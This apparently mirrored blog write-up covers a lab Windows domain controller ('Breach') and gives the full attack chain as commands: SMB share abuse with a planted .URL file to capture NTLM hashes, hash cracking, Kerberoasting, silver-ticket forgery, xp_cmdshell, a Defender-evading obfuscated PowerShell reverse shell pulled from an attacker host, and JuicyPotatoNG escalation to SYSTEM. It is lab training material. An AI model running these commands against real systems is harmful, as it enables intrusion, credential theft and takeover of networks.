ctfmirror

Enumeration NMAP Scan sudo rustscan --ulimit 5000 -b 500 -a 10.10.125.15 -- -sC -sV -Pn |...">TJNull's OSCP like machines

Enumeration

NMAP Scan

sudo rustscan --ulimit 5000 -b 500 -a 10.10.125.15 -- -sC -sV -Pn | tee breach.nmap                                                                                                                                        
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍
---- SNIP ----
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
80/tcp    open  http          syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2024-04-23 16:03:51Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: breach.vl0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
1433/tcp  open  ms-sql-s      syn-ack ttl 127 Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ssl-date: 2024-04-23T16:05:22+00:00; +2s from scanner time.
| ms-sql-info: 
|   10.10.125.15:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ms-sql-ntlm-info: 
|   10.10.125.15:1433: 
|     Target_Name: BREACH
|     NetBIOS_Domain_Name: BREACH
|     NetBIOS_Computer_Name: BREACHDC
|     DNS_Domain_Name: breach.vl
|     DNS_Computer_Name: BREACHDC.breach.vl
|     DNS_Tree_Name: breach.vl
|_    Product_Version: 10.0.20348
 ---- SNIP ----
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: breach.vl0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
3389/tcp  open  ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
| ssl-cert: Subject: commonName=BREACHDC.breach.vl
| Issuer: commonName=BREACHDC.breach.vl
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
57892/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
58114/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
63079/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC

Information from NMAP scan

We are dealing with a domain controller
Port 80 is open
MSSQL is present
Rest are usual on a DC

SMB Enumeration

nxc smb 10.10.125.15 -u 'asd' -p '' --shares [0]
SMB         10.10.125.15    445    BREACHDC         [*] Windows 10.0 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (signing:True) (SMBv1:False)
SMB         10.10.125.15    445    BREACHDC         [+] breach.vl\asd: 
SMB         10.10.125.15    445    BREACHDC         [*] Enumerated shares
SMB         10.10.125.15    445    BREACHDC         Share           Permissions     Remark
SMB         10.10.125.15    445    BREACHDC         -----           -----------     ------
SMB         10.10.125.15    445    BREACHDC         ADMIN$                          Remote Admin
SMB         10.10.125.15    445    BREACHDC         C$                              Default share
SMB         10.10.125.15    445    BREACHDC         IPC$            READ            Remote IPC
SMB         10.10.125.15    445    BREACHDC         NETLOGON                        Logon server share 
SMB         10.10.125.15    445    BREACHDC         share           READ,WRITE      
SMB         10.10.125.15    445    BREACHDC         SYSVOL                          Logon server share 
SMB         10.10.125.15    445    BREACHDC         Users           READ

share has guest read/write access
We also have read access on Users share

Exploring `share`

smbclient.py breach.vl/fdf@10.10.125.15

we can get 3 user names on transfer folder inside share
The folder name Transfer sparks a hint , that users may interact with the files present inside.
Since we have the write access, we can dig further on this.

LDAP Enumeration

Anonymous bind is not enabled on LDAP

MS-SQL Enumeration

Anonymous login is not enabled here as well

nxc mssql 10.10.125.15 -u '' -p ''                                                                                                                    [0]
MSSQL       10.10.125.15    1433   BREACHDC         [*] Windows 10.0 Build 20348 (name:BREACHDC) (domain:breach.vl)
MSSQL       10.10.125.15    1433   BREACHDC         [-] ERROR(BREACHDC\SQLEXPRESS): Line 1: Login failed for user 'NT AUTHORITY\ANONYMOUS LOGON'.

Web enumeration

No intresting leads there as well.

Deep dive on the obtained usernames

Let's first check if the users are valid and any AS-REP roastable users

kerbrute userenum --dc 10.10.125.15 users -d breach.vl                                                                                                [0]

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (9cfb81e) - 04/23/24 - Ronnie Flathers @ropnop

2024/04/23 21:52:13 >  Using KDC(s):
2024/04/23 21:52:13 >      10.10.125.15:88

2024/04/23 21:52:13 >  [+] VALID USERNAME:     claire.pope@breach.vl
2024/04/23 21:52:13 >  [+] VALID USERNAME:     julia.wong@breach.vl
2024/04/23 21:52:13 >  [+] VALID USERNAME:     diana.pope@breach.vl
2024/04/23 21:52:13 >  Done! Tested 3 usernames (3 valid) in 0.175 seconds

All user names are valid and no AS-REP roastable users present
Since there is no further hints on passwords, Let's try usernames as passwords, but no luck

nxc smb 10.10.125.15 -u users -p users --no-bruteforce --continue-on-success                                                                          [2]
SMB         10.10.125.15    445    BREACHDC         [*] Windows 10.0 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (signing:True) (SMBv1:False)
SMB         10.10.125.15    445    BREACHDC         [-] breach.vl\claire.pope:claire.pope STATUS_LOGON_FAILURE 
SMB         10.10.125.15    445    BREACHDC         [-] breach.vl\diana.pope:diana.pope STATUS_LOGON_FAILURE 
SMB         10.10.125.15    445    BREACHDC         [-] breach.vl\julia.wong:julia.wong STATUS_LOGON_FAILURE

Deep dive on transfer folder

Since we have write access on this folder, lets drop an scf file to see if there are any interactions received on responder
Start responder

sudo responder -v -I tun0

SCF file

[Shell]
Command=2
IconFile=\\10.8.2.13\share\v3l5.ico
[Taskbar]
Command=ToggleDesktop

Lets upload it into transfer folder and see if we get interaction.
Note that, the scf file should be at first.
Unfortunately, no interaction was received. Not sure why?

Lets' try another vector uploading .URL file and we got an interaction on responder as user Julia.Wong

[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\10.8.2.13\%USERNMAE%.icon
IconIndex=1

Initial Access

Let's try to crack the hash using hashcat using rockyou.txt wordlist

hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt --force

We have successfully cracked and obtained the clear text password.
Verify the level of access using nxe
We have additional read access to NETLOGON and SYSVOL
- Enumerated shares again , but no interesting leads here
No winrm, RDP access
low privileged user access on mssql

Bloodhound

Lets run bloodhound to get useful details about Domain objects.

bloodhound-python -d 'breach.vl' -u 'Julia.Wong' -p 'XXXXXXXXX' -c all -ns 10.10.86.42

We found a kerberoastable user svc_mssql

Kerberoasting

using Impacket , lets get the hash

GetUserSPNs.py -request -dc-ip 10.10.86.42 breach.vl/Julia.Wong:'XXXXXXXXXX'

hashcat -m 13100 --force -a 0 sqlsvchash /usr/share/wordlists/rockyou.txt

Password cracked

Check if we have administrator privileges over MSSQL DB using nxe

Unfortunately, we still have only guest privileges on MSSQL db.

Generating Silver ticket

Lets get a silver ticket as Administrator user, which will get us Administrative privileges over MSSQL DB
We can use ticketer.py to generate the silver ticket. Required details are available on the bloodhound results
- Domian SID: S-1-5-21-2330692793-3312915120-706255856
- SPN: MSSQLSvc/breachdc.breach.vl:1433
- NTLM hash - Since the password is known, we use any online tools to generate the hash.

ticketer.py -nthash 6959XXXXXXXXXXXXXXXX70E25A5C -domain-sid S-1-5-21-2330692793-3312915120-706255856 -domain breach.vl -spn 'MSSQLSvc/breachdc.breach.vl:1433' Administrator

export the ccache file - export KRB5CCNAME=Administrator.ccache
Let's check if the ccache file is working

We got the administrator access over MSSQL

Shell Access
Login using mssqlclinet.py

mssqlclient.py Administrator@BREACHDC.breach.vl -k -no-pass -windows-auth -dc-ip 10.10.86.42

Enable XP cmd shell which allows us to run any command.

Let's get a reverse shell. When i tried conpty shell, It gets blocked by the Defender.
So, lets go with a simple Nishang's tcp reverse shell and invoke the reverse shell function within the script itself.
For Obfuscation, I used - https://github.com/JoelGMSec/Invoke-Stealth
Run below and rename the file, I renamed the obfuscated script to ps.txt

pwsh Invoke-Stealth.ps1 /opt/tools/Nishang/ps.ps1 -t PyFuscation

We were able to get a reverse shell using that and bypassed defender successfully for now

xp_cmdshell powershell IEX(IWR http://10.8.2.13:8000/ps.txt -UseBasicParsing);

Privilege Escalation

svc_mssql has Se-impersonate Privilege enabled.
We can use JuicyPotatoNG.exe to abuse the Se-impersonate and achieve privilege escalation.
We are able to get command execution as SYSTEM

./JuicyPotatoNG.exe -t * -p C:\windows\system32\cmd.exe -a "/c powershell IEX(IWR http://10.8.2.13:8000/ps.txt -UseBasicParsing);"

Note: Before trying JuicyPotatoNG , I tried petitpotato.exe & godpotato.exe - I'm able to get a simple command execution, but not a reverse shell. Petitpotato closed execution before even fully downloading the reverse shell script & godpotato was very slow and broke the box

That's all for now. I hope you enjoyed this writeup. For any questions/suggestions, Please feel free to connect with me on LinkedIn.

References

https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/windows-amsi-bypass/#which-endpoint-protection-is-using-amsi
https://github.com/antonioCoco/JuicyPotatoNG
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/silver-ticket

More from this blog

Vulnlab’s Baby2 (Medium) Windows Machine – Writeup

Hello Everyone ! This is an writeup of Vulnlab's Baby2 machine. Baby2 is an Medium rated windows machine machine. It is one of the TJNull's OSCP like machines Summary Initial access is through finding a valid set of credentials , which has extensive ...

Apr 22, 2024

7 min read

116

Subscribe to the newsletter.

Get new posts in your inbox.

Vulnlab's Data (Easy) Linux Machine - WriteUp

Hello Everyone ! This writeup is on the Vulnlab's data (easy) Linux machine. Initial access is through exploiting an CVE of grafana to read usernames & password hashes. Reconstruct the password as per the required format to run it against hashcat whi...

Apr 21, 2024

8 min read

119

Vulnlab's Baby (Easy) Machine - WriteUp

Introduction Hello Everyone ! This is an writeup of Vulnlab's Baby (easy) machine. For Initial access, LDAP is enumerated to identify users and initial setup password from the AD user object's description. One of the user's logon status was found to ...

Apr 20, 2024